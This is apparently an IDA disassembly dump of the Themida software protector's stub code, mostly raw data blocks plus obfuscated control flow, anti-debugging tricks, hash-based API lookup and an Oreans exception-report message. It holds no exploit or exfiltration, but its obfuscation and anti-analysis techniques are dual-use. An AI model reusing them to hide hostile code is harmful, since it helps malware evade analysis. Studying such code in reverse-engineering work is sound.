		dd 1285h, 0C820F00h, 0F000000h,	689h, 800F00h, 89000000h
		dd 0DF5A485h, 49BD8B06h, 6A060B33h, 9D858900h, 6A060B08h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0DD810B19h, 0F8E51ECEh, 10E96091h, 0C5000000h
		dd 9D8E2C7h, 4F53F3FDh,	86B5EE51h, 0BE686FB9h, 29FC9AE5h
		dd 0A4B5FF61h, 8B060DF5h, 0B0339BDh, 9095FF06h,	2B060DF5h
		dd 0B2F498Dh, 0FC08506h, 2085h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 1CC6C6A0h
		dd 0A4B5FFE5h, 80060DF5h, 95FFEEDEh, 60B02F1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BCC35040h, 0F76AAEE5h
		dd 89D6BEAFh, 0B2021BDh, 0FC08506h, 2485h, 10E86000h, 8B000000h
		dd 2244DEE8h, 4FBA7F71h, 0F388535Eh, 8B98D58Ch,	0B2F35BDh
		dd 0BD895806h, 60B2A69h, 6A006A61h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 8C1DC355h
		dd 0BD29C8DFh, 60B0995h, 8068h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0EE9F1h, 0F4800000h
		dd 6FBFDD38h, 0E4E801DEh, 0F850EF7Ah, 0B589036Ah, 60B06E9h
		dd 0BD89006Ah, 60B1A59h, 0E280006Ah, 5860F28h, 66000000h
		dd 316BD781h, 68h, 0FFD38AC0h, 0DF61CB5h, 0C9816606h, 95FF8FA0h
		dd 60B0265h, 0B7D98166h, 0DE8DCh, 0B6C50000h, 4793E45Fh
		dd 0B6C70962h, 8B248029h, 0F8835ACBh, 66850FFFh, 0BA000005h
		dd 779A95A1h, 18D99529h, 85FF060Bh, 60E008Ah, 246D9501h
		dd 9D89060Bh, 60B3281h,	8ABD83h, 0F02060Eh, 40A84h, 0DD00B900h
		dd 858D6C33h, 5AF59Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 5AC35242h, 61393360h,	0FD0FF8Eh, 987h
		dd 38A0F00h, 80000000h,	858D4CD2h, 5AEFF2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 81C35646h, 8B80041Dh
		dd 0B07F9BDh, 0E9D0FF06h, 10h, 73EABD59h, 0CC9D0E80h, 6F6C4AC6h
		dd 0C5525A85h, 7E8h, 0BEE0C600h, 743F1A81h, 5AD4E180h
		dd 9D29C08Bh, 60B2A69h,	5BDBD83h, 7500060Bh, 0D1BD8309h
		dd 60B29h, 53501974h, 0D8B8C08Bh, 89000007h, 0B2A3585h
		dd 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh,	17740006h
		dd 0D8B85350h, 89000007h, 0B2A3585h, 99D8D06h, 0FF060DB0h
		dd 0E9585BD3h, 0Dh, 70B744E9h, 745CFFECh, 0F145EF55h, 0CEF781CAh
		dd 803B8C9Ch, 0C08BA6C5h, 4398501h, 3F68060Bh, 8B000F00h
		dd 0B185995h, 8B006A06h, 9E9FAh, 342F0000h, 785ED287h
		dd 6AE1286Eh, 6800F00h,	89000000h, 0B27FD85h, 8D95FF06h
		dd 6A060B1Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0F233C355h, 6EC67886h,	8589C085h
		dd 60B0069h, 0F5A08589h, 6A060Dh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 83B611C3h, 81665676h
		dd 6839B5DAh, 0F01FFh, 23F58D8Bh, 0BD83060Bh, 60B0DB1h
		dd 36840F00h, 8B000000h, 0B291995h, 0FD858D06h,	0B060DF5h
		dd 0B158DBDh, 4CE906h, 8B660000h, 0EE850FAh, 0A000000h
		dd 557036FDh, 0E758C953h, 84D7893h, 3DBD89EAh, 5F060B1Bh
		dd 0D3858D59h, 6A060DF5h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 4A3FC353h, 0BEE8F3Bh
		dd 84C8BA1Ch, 665052FEh, 3F67EA81h, 0F5A0B5FFh,	0C181060Dh
		dd 219881FDh, 0F59895FFh, 9E8060Dh, 49000000h, 11C6054Ah
		dd 0C730697Eh, 6880Fh, 0DF810000h, 435CBECCh, 0A485895Ah
		dd 23060DF5h, 0B0CF18Dh, 0CA8B6606h, 0C7D85C7h,	60Bh, 0F1800000h
		dd 0A4BD83A5h, 60DF5h, 18F840Fh, 8E80000h, 0AE000000h
		dd 745B2D98h, 0BAB14B5Ah, 6F87E7EFh, 82858D5Ah,	89060DF8h
		dd 0B292D9Dh, 81665006h, 6AEDD7CFh, 0CA816601h,	0B5FF5455h
		dd 60DF5A4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0DBC35242h, 75DD9E18h, 95FFF94Ah, 60DF59Ch, 1BC1B501h
		dd 0B5FF060Bh, 60DF5A4h, 0DAD9529h, 95FF060Bh, 60B02F1h
		dd 2E758D8Bh, 0FF68060Bh, 1000F01h, 0B319195h, 3D958B06h
		dd 83060B18h, 0B0DB1BDh, 840F0006h, 34h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 1AC35040h, 0FA34BF66h
		dd 0EDD8509h, 858D060Bh, 60DF5FDh, 0DE9F8h, 0D38B0000h
		dd 0F5D3858Dh, 43BF060Dh, 506E563Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 1C35141h, 0E94ED345h, 6, 0ADDC9C0Eh
		dd 0B5FF17E9h, 60DF5A0h, 0DA98D8Bh, 7BA060Bh, 0FF34CAC3h
		dd 0DF59895h, 0FFBF0F06h, 0F5A48589h, 8589060Dh, 60B2905h
		dd 0F5A4B5FFh, 8D89060Dh, 60B16BDh, 29919589h, 95FF060Bh
		dd 60DF594h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	51C35646h, 0AE99EC9h, 34000000h, 0A50AF185h, 1C7EFA84h
		dd 0FD8D8B3Dh, 0FF060B0Fh, 0DF5A4B5h, 0C5E28106h, 336F2403h
		dd 0B0D258Dh, 0F195FF06h, 89060B02h, 0B00119Dh,	0F6EAE906h
		dd 10E9FFFFh, 0F7000000h, 0ACF015D6h, 1AF25F14h, 0DCB239C2h
		dd 0FFDF3F6Bh, 0E00EDB5h, 0BBC78106h, 0FF290958h, 0B0AC595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 66A39068h, 858BC88Bh, 60B2B2Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 27C35141h, 895DF0CCh
		dd 0B023985h, 11E906h
		dd 0BDDC0000h, 0D8BFB08Fh, 0EC7A0B3Ch, 0DEC0D249h, 0E9120AACh
		dd 5ACh, 11E8h,	29F05800h, 6CC3CD0Ah, 5E437616h, 23BF017Fh
		dd 95897CA4h, 60B19C5h,	0A2B58D5Ah, 60060DF8h, 1B719D89h
		dd 0EE8A060Bh, 0F9858D61h, 89060DA5h, 0B0B319Dh, 0FCD0FF06h
		dd 0B529006Ah, 60B13F9h, 2F4D95FFh, 6A060Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 8501C5C3h
		dd 1BBA663Ch, 0E1816603h, 0F38BFAB6h, 1AD59D09h, 858D060Bh
		dd 60DA5F9h, 0B2D8D8Bh,	0D0FF060Bh, 0C958509h, 6A060Bh
		dd 6830F60h, 8B000000h,	0B217585h, 0A1BD8906h, 61060B0Bh
		dd 0B9A9CF81h, 95FF12D5h, 60B2F4Dh, 38E0Fh, 8B660000h
		dd 89C08BCBh, 0B319195h, 0BDBD8306h, 60B05h, 0BD830975h
		dd 60B29D1h, 50197400h,	0B8C08B53h, 7D9h, 2A358589h, 9D8D060Bh
		dd 60DB31Ah, 585BD3FFh,	29D1BD83h, 7400060Bh, 0B8535017h
		dd 7D9h, 2A358589h, 9D8D060Bh, 60DB009h, 585BD3FFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 44C35747h, 17DA98Ah
		dd 0B70F7E0Dh, 0FFB70FCAh, 0D181C08Bh, 78BBE6FDh, 12800F50h
		dd 0E9000000h, 0Dh, 7D43AB19h, 0AD9490A3h, 0AA234591h
		dd 6AD88B82h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0A42FC352h, 0A4DC05C8h, 80872927h
		dd 8B66B1F5h, 9D8D53D0h, 60B043Dh, 389038Bh, 8950438Bh
		dd 9D8D5043h, 60E0086h,	389038Bh, 0CE95Bh, 0CD250000h
		dd 0D6428724h, 296467AAh, 9D890BB6h, 60B0515h, 0BD8B006Ah
		dd 60B211Dh, 86858Dh, 8166060Eh, 508AD8F2h, 22899523h
		dd 606A060Bh, 43D858Dh,	0DCBF060Bh, 505DDA84h, 8589006Ah
		dd 60B05C1h, 0BD8B006Ah, 60B0139h, 180068h, 0CD958B00h
		dd 53060B2Eh, 0C981D38Ah, 36E5E147h, 59995FFh, 880F060Bh
		dd 1, 8D95FFFCh, 0F060B0Bh, 884h, 8F0F5200h, 0
; ---------------------------------------------------------------------------
		pop	edi
		pusha
		xor	dh, 66h
		mov	ebx, ecx
		popa
		push	dword ptr [ebp+60E00EDh]
		mov	cx, 4627h
		push	eax
		jns	loc_56EF3C
		movsx	ecx, di


loc_56EF3C:				; CODE XREF: Themida_:0056EF33j
		pop	edx
		call	dword ptr [ebp+60B0AC5h]
		push	0
		push	ebx
		call	sub_56EF4E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56EF4E	proc near		; CODE XREF: Themida_:0056EF46p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_56EF4E	endp

; ---------------------------------------------------------------------------
		dw 1729h
		dd 87DD507Ah, 8F293FA5h, 43D858Dh, 8166060Bh, 8B4F78C9h
		dd 6A1840h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 25D44C3h,	5169B1DDh, 0E8AA53E0h, 5, 4452B355h
		dd 0CE9A6h, 8F200000h, 26DD29FDh, 36B1E03Fh, 665F1D5Ch
		dd 85C7CB8Bh, 60B0711h,	0
; ---------------------------------------------------------------------------
		xor	edx, [ebp+60B0375h]
		cmp	dword ptr [ebp+60B0DB1h], 0
		jz	loc_56F014
		sub	di, 0A83Ah
		cmp	eax, 8Ch
		jnb	loc_56F20A
		mov	[ebp+60B1B31h],	edx
		jmp	loc_56F04F
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_56EFFD
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56EFFD	proc near		; CODE XREF: Themida_:0056EFF5p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_56EFFD	endp

; ---------------------------------------------------------------------------
		pop	esi
		mov	edi, [ebp+60B20F1h]


loc_56F014:				; CODE XREF: Themida_:0056EFD1j
		cmp	eax, 96h
		jnb	loc_56F20A
		push	0
		push	edx
		call	sub_56F02A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56F02A	proc near		; CODE XREF: Themida_:0056F022p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_56F02A	endp

; ---------------------------------------------------------------------------
		sbb	[ecx-6Ah], cl
		mov	edi, 564D1CAEh
		jnb	loc_56F04E
		mov	[ebp+60B0EF1h],	edi


loc_56F04E:				; CODE XREF: Themida_:0056F042j
		pop	edi


loc_56F04F:				; CODE XREF: Themida_:0056EFEDj
		lea	eax, byte_5AF59F[ebp]
		mov	ecx, esi
		mov	[ebp+60B0865h],	ecx
		call	eax
		push	0
		push	ebx
		call	sub_56F06A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56F06A	proc near		; CODE XREF: Themida_:0056F062p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_56F06A	endp

; ---------------------------------------------------------------------------
		dw 0CD3Ch
		dd 0B18E8E55h, 11E874h,	0BB610000h, 4B8A1EADh, 0EE8AD301h
		dd 0CD346D98h, 0FB7243Dh, 683h,	0ECDF8100h, 5F270716h
		dd 0EFF2858Dh, 6A005Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 2E00FCC3h, 66D0A128h, 3FA0C781h
		dd 958BD0FFh, 60B1161h,	8BBAC08Bh, 836628FFh, 0B05BDBDh
		dd 9750006h, 29D1BD83h,	7400060Bh, 8B535019h, 0BC6B8C0h
		dd 85890000h, 60B2A35h,	0B31A9D8Dh, 0D3FF060Dh,	0BD83585Bh
		dd 60B29D1h, 50177400h,	0BC6B853h, 85890000h, 60B2A35h
		dd 0B0099D8Dh, 0D3FF060Dh, 0E580585Bh, 0E9858946h, 8B060B0Ah
		dd 0FFF883C0h, 87850Fh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 103F16C3h, 7DBD8B81h
		dd 0C7060B24h, 0B316D85h, 6, 0FFB96600h, 111E9B2h, 66E90000h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 3908C350h, 9DB3CE98h, 10E8605Fh
		dd 42000000h, 0D464E492h, 93F3BD38h, 32C79564h,	664DEBDCh
		dd 59A483B8h, 1B59BD09h, 8B61060Bh, 0B0F59BDh, 1F88306h
		dd 13850Fh, 0D2800000h,	0D6E9BDh, 87B90000h, 9699940h
		dd 0B112995h, 0F176E906h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 45F829C3h, 32EDBD8Bh
; ---------------------------------------------------------------------------
		or	eax, [esi]


loc_56F20A:				; CODE XREF: Themida_:0056EFE1j
					; Themida_:0056F019j
		mov	eax, eax
		mov	[ebp+60B28EDh],	esi
		cmp	dword ptr [ebp+60B05BDh], 0
		jnz	short loc_56F224
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56F23D


loc_56F224:				; CODE XREF: Themida_:0056F219j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7DDh
		mov	[ebp+60B2A35h],	eax
		lea	ebx, [ebp+60DB31Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_56F23D:				; CODE XREF: Themida_:0056F222j
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56F25D
		push	eax
		push	ebx
		mov	eax, 7DDh
		mov	[ebp+60B2A35h],	eax
		lea	ebx, [ebp+60DB009h]
		call	ebx
		pop	ebx
		pop	eax


loc_56F25D:				; CODE XREF: Themida_:0056F244j
		jmp	loc_56F271
; ---------------------------------------------------------------------------
		dw 7E63h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BAh, 3, 65h
		dd 40884A9Ah, 0E7641522h
; ---------------------------------------------------------------------------
		aas


loc_56F271:				; CODE XREF: Themida_:loc_56F25Dj
		mov	ecx, [ebp+60B1899h]
		mov	eax, eax
		mov	cx, si
		jmp	loc_56F465
; ---------------------------------------------------------------------------
		xor	[ebp+60B1AE5h],	edi
		lea	eax, [ebp+60DFE8Ah]
		mov	edi, 6959604Eh
		mov	[ebp+60E0082h],	eax
		mov	ecx, [ebp+60B2329h]
		mov	[ebp+60B05B9h],	edx
		jmp	loc_56F2C7
; ---------------------------------------------------------------------------
		movsx	ecx, ax
		lea	eax, [ebp+60DFC92h]
		movzx	ecx, cx
		inc	eax
		mov	edi, [ebp+60B0E5Dh]
		mov	[ebp+60E0082h],	eax
		add	di, 1C56h


loc_56F2C7:				; CODE XREF: Themida_:0056F2A4j
		push	34h
		lea	eax, [ebp+60B16C5h]
		push	eax
		push	dword ptr [ebp+60E0082h]
		push	0
		call	dword ptr [ebp+60B0BD9h]
		cmp	eax, 7
		jz	loc_56F449
		mov	bx, ds
		test	bl, 4
		jnz	loc_56F3EF
		mov	byte ptr [ebp+60B2845h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+60B0B01h]
		lea	eax, [ebp+60B390Dh]
		call	eax
		push	4
		push	1000h
		push	64h
		push	0
		call	eax
		mov	[ebp+60E00F5h],	eax
		mov	byte ptr [ebp+60B2845h], 47h
		push	0EC18AC9Bh
		push	dword ptr [ebp+60B0B01h]
		lea	eax, [ebp+60B390Dh]
		call	eax
		call	eax
		mov	esi, eax
		mov	byte ptr [ebp+60B2845h], 4Fh
		push	0C62F2661h
		push	dword ptr [ebp+60B194Dh]
		lea	eax, [ebp+60B390Dh]
		call	eax
		lea	ebx, [ebp+60E00F1h]
		push	ebx
		push	28h
		push	esi
		call	eax
		test	eax, eax
		jnz	short $+2
		mov	byte ptr [ebp+60B2845h], 41h
		push	0DB876498h
		push	dword ptr [ebp+60B194Dh]
		lea	eax, [ebp+60B390Dh]
		call	eax
		mov	[ebp+60E010Eh],	eax
		mov	byte ptr [ebp+60B2845h], 4Ch
		push	80A4E7A4h
		push	dword ptr [ebp+60B194Dh]
		lea	eax, [ebp+60B390Dh]
		call	eax
		mov	ebx, [ebp+60E00F5h]
		lea	ebx, [ebx+4]
		push	ebx
		lea	ebx, [ebp+60E00FAh]
		push	ebx
		push	0
		call	eax
		mov	ebx, [ebp+60E00F5h]
		mov	dword ptr [ebx], 1
		mov	dword ptr [ebx+0Ch], 2
		mov	dword ptr [ebp+60B0C59h], 0
		push	0
		push	0
		push	0
		mov	ebx, [ebp+60E00F5h]
		push	ebx
		push	0
		push	dword ptr [ebp+60E00F1h]
		call	dword ptr [ebp+60E010Eh]


loc_56F3EF:				; CODE XREF: Themida_:0056F2EDj
		mov	byte ptr [ebp+60B2845h], 45h
		push	92A5F797h
		push	dword ptr [ebp+60B0315h]
		lea	eax, [ebp+60B390Dh]
		call	eax
		push	0
		push	2
		call	eax
		mov	bx, ds
		test	bl, 4
		jnz	short loc_56F449
		mov	ebx, [ebp+60E00F5h]
		mov	dword ptr [ebx+0Ch], 0
		push	0
		push	0
		mov	ebx, [ebp+60E00F5h]
		push	ebx
		push	0
		push	dword ptr [ebp+60E00F1h]
		call	dword ptr [ebp+60E010Eh]
		push	dword ptr [ebp+60E00F1h]
		call	dword ptr [ebp+60B0B8Dh]


loc_56F449:				; CODE XREF: Themida_:0056F2E1j
					; Themida_:0056F415j
		push	0
		call	dword ptr [ebp+60B2F4Dh]
		sub	[ebp+60B28C1h],	eax
		pusha
		or	esi, 741A3004h
		mov	ecx, [ebp+60B1AADh]
		popa
; START	OF FUNCTION CHUNK FOR sub_56D9C7


loc_56F465:				; CODE XREF: sub_56D9C7+E2j
					; Themida_:0056F27Cj
		lea	eax, [ebp+60E3547h]
		push	0
		push	edi
		call	sub_56F476
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_56D9C7

; =============== S U B	R O U T	I N E =======================================



sub_56F476	proc near		; CODE XREF: sub_56D9C7+1AA7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi


loc_56F484:				; CODE XREF: Themida_:0056F4AEj
		push	edi
		retn
sub_56F476	endp

; ---------------------------------------------------------------------------
		dw 906Ch
; ---------------------------------------------------------------------------
		xchg	edi, [esi+7]
		pop	esi
		wait
		xchg	eax, esp
		push	eax
		push	0
		push	edx
		call	sub_56F49A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56F49A	proc near		; CODE XREF: Themida_:0056F492p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_56F49A	endp

; ---------------------------------------------------------------------------
		inc	eax
		add	edx, edi
		leave
		jno	short loc_56F484
		mov	[ebp+60B2A05h],	eax
		push	large dword ptr	fs:0
		mov	[ebp+60B0069h],	ecx
		mov	large fs:0, esp
		cld
		cmp	dword ptr [ebp+60B2715h], 0
		jz	loc_56F530
		mov	[ebp+60B2E25h],	esi
		cmp	dword ptr [ebp+60B0B19h], 1
		jnz	loc_56F530
		pusha
		mov	[ebp+60B04E9h],	eax
		jmp	loc_56F509
; ---------------------------------------------------------------------------
		db 26h
		dd 0B480197Fh, 0E02F3081h, 746B8341h, 0C72FEDAAh
		db 4Ch
; ---------------------------------------------------------------------------


loc_56F509:				; CODE XREF: Themida_:0056F4F2j
		popa
		cmp	byte ptr [ebp+60E050Eh], 0
		jnz	loc_56F530
		mov	cl, dl
		jmp	loc_56F6AB
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+60B29C1h],	eax
		mov	esi, [ebp+60B211Dh]
		popa
		mov	dx, 0DF11h


loc_56F530:				; CODE XREF: Themida_:0056F4D2j
					; Themida_:0056F4E5j ...
		xor	ebx, ebx
		push	0
		push	ebx
		call	sub_56F53D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56F53D	proc near		; CODE XREF: Themida_:0056F535p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_56F53D	endp

; ---------------------------------------------------------------------------
		db 0FDh, 14h, 2Eh
		dd 0FE24FEF4h, 8D0FC033h, 19h, 14E9h, 55745C00h, 0CAF145EFh
		dd 0B474BD6Bh, 0E9C8E845h, 188692A4h, 3F0F4063h, 8F640B07h
		dd 5, 4C48300h,	14E9h, 8A9C1C00h, 0DD22B8B1h, 0F4511591h
		dd 184982DBh, 8A4273CCh, 0F98B6667h, 0CE960h, 48410000h
		dd 0A9A324E9h, 6159F744h, 950BEEAEh, 60B1661h, 0FFFB8361h
		dd 1B840Fh, 0B5290000h,	60B2DF1h, 0D4E9h, 0BE900h, 37D20000h
		dd 0EAEA7A71h, 0BBEAB57Ah, 58E99Ch, 8C0F0000h, 3, 8BCABF0Fh
		dd 0C70C244Ch, 0A481h, 0FFFFFF00h, 0B88183FFh, 4000000h
		dd 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h, 60E3569h, 0B8838Bh
		dd 858D0000h, 60E3607h,	0B88389h, 335D0000h, 8B60C3C0h
		dd 49B529C6h, 61060B03h, 32819D89h, 858D060Bh, 60E355Fh
		dd 1A4D958Bh, 8150060Bh, 7B37B9C7h, 6E845h, 20E10000h
		dd 917A8E49h, 4A58D8Bh,	645F060Bh, 35FFh, 8D0B0000h, 60B2A59h
		dd 258964h, 60000000h, 6504BE66h, 0AB961h, 4B80000h, 54855D7h
		dd 0DF78164h, 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h
		dd 68FB81EDh, 75564D58h, 3185C70Ah, 1060B0Eh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_56F6AB:				; CODE XREF: Themida_:0056F519j
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	edi, [ebp+60B2ED9h]
		stc
		mov	edx, [ebp+60B21E5h]
		mov	eax, eax
		mov	[ebp+60B0BA5h],	esi
		cmp	dword ptr [ebp+60B05BDh], 0
		jnz	short loc_56F6DC
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56F6F5


loc_56F6DC:				; CODE XREF: Themida_:0056F6D1j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+60B1299h],	eax
		lea	ebx, [ebp+60DB381h]
		call	ebx
		pop	ebx
		pop	eax


loc_56F6F5:				; CODE XREF: Themida_:0056F6DAj
		cmp	dword ptr [ebp+60B29D1h], 0
		jz	short loc_56F715
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+60B1299h],	eax
		lea	ebx, [ebp+60DB022h]
		call	ebx
		pop	ebx
		pop	eax


loc_56F715:				; CODE XREF: Themida_:0056F6FCj
		jmp	loc_56F722
; ---------------------------------------------------------------------------
		dw 833Eh
		dd 0A72742BEh
		db 0A3h, 2
; ---------------------------------------------------------------------------


loc_56F722:				; CODE XREF: Themida_:loc_56F715j
		jmp	loc_56F730
; ---------------------------------------------------------------------------
		sbb	al, 0E3h
		mov	esi, 0A78A82A2h
		sub	al, 32h


loc_56F730:				; CODE XREF: Themida_:loc_56F722j
		call	near ptr loc_56F73D+1
		int	3		; Trap to Debugger
		outsd
		db	65h
		dec	esi
		pop	es
		out	dx, al
		push	ebx
		cwde


loc_56F73D:				; CODE XREF: Themida_:loc_56F730p
		fmul	dword ptr [ecx+0B08758Dh]
		push	es
		pop	edx
		mov	eax, eax
		jmp	loc_56F886
; ---------------------------------------------------------------------------
		dd 4, 35382E31h, 35h, 6	dup(0)
		db    0
		align 2
aExceptionInfor	db 'Exception Information',0
aPleaseSendTheF	db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
; ---------------------------------------------------------------------------


loc_56F886:				; CODE XREF: Themida_:0056F747j
		cmp	dword ptr [ebp+60B0299h], 0
		jz	loc_56F9C0
		lea	eax, [ebp+60DAE39h]
		push	eax
		lea	eax, [ebp+60DADA3h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+60DAE49h]
		lea	eax, [ebp+60E36A8h]
		push	eax
		lea	eax, [ebp+60E36B2h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+60DADB7h]
		push	eax
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2A61h]
		lea	eax, [ebp+60E36A8h]
		push	eax
		lea	eax, [ebp+60E36B6h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+60DADC9h]
		push	eax
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2A61h]
		lea	eax, [ebp+60E36A8h]
		push	eax
		lea	eax, [ebp+60E36C2h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+60DAE16h]
		push	eax
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2A61h]
		lea	eax, [ebp+60E36A8h]
		push	eax
		lea	eax, [ebp+60E36CAh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+60DAE34h]
		push	eax
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2A61h]
		lea	eax, [ebp+60E36A8h]
		push	eax
		lea	eax, [ebp+60E36C6h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+60DAE1Dh]
		push	eax
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2A61h]
		lea	eax, [ebp+60E36A8h]
		push	eax
		lea	eax, [ebp+60E36BAh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+60DAE25h]
		push	eax
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2A61h]
		lea	eax, [ebp+60E36A8h]
		push	eax
		lea	eax, [ebp+60E36BEh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+60DAE2Ch]
		push	eax
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2A61h]
		push	dword ptr [ebp+60DAE39h]
		call	dword ptr [ebp+60B2ACDh]
		jmp	loc_56FA62
; ---------------------------------------------------------------------------


loc_56F9C0:				; CODE XREF: Themida_:0056F88Dj
		cmp	dword ptr [ebp+60B08F9h], 0
		jz	loc_56FA62
		cmp	dword ptr [ebp+60B0B19h], 0
		jnz	loc_56F9EB
		mov	edx, [ebp+60B1F75h]
		add	edx, 1CF8h
		jmp	loc_56F9FA
; ---------------------------------------------------------------------------


loc_56F9EB:				; CODE XREF: Themida_:0056F9D4j
		lea	edx, [ebp+60B043Dh]
		mov	edx, [edx+34h]
		add	edx, 3BD4C340h


loc_56F9FA:				; CODE XREF: Themida_:0056F9E6j
		mov	[ebp+60B2765h],	edx
		cmp	dword ptr [ebp+60B2765h], 0
		jz	loc_56FA62
		mov	ebx, [ebp+60B2765h]
		add	ebx, 4Ch
		mov	eax, [ebx]
		mov	[ebp+60E36B2h],	eax
		mov	ebx, [ebp+60B2765h]
		add	ebx, 50h
		mov	eax, [ebx]
		mov	[ebp+60E36B6h],	eax
		mov	ebx, [ebp+60B2765h]
		add	ebx, 54h
		mov	eax, [ebx]
		mov	[ebp+60E36C2h],	eax
		mov	ebx, [ebp+60B2765h]
		add	ebx, 58h
		mov	eax, [ebx]
		mov	[ebp+60E36C6h],	eax
		mov	ebx, [ebp+60B2765h]
		add	ebx, 5Ch
		mov	eax, [ebx]
		mov	[ebp+60E36BAh],	eax


loc_56FA62:				; CODE XREF: Themida_:0056F9BBj
					; Themida_:0056F9C7j ...
		cmp	dword ptr [ebp+60B0299h], 0
		jnz	loc_56FA7C
		cmp	dword ptr [ebp+60B08F9h], 0
		jz	loc_56FAE4


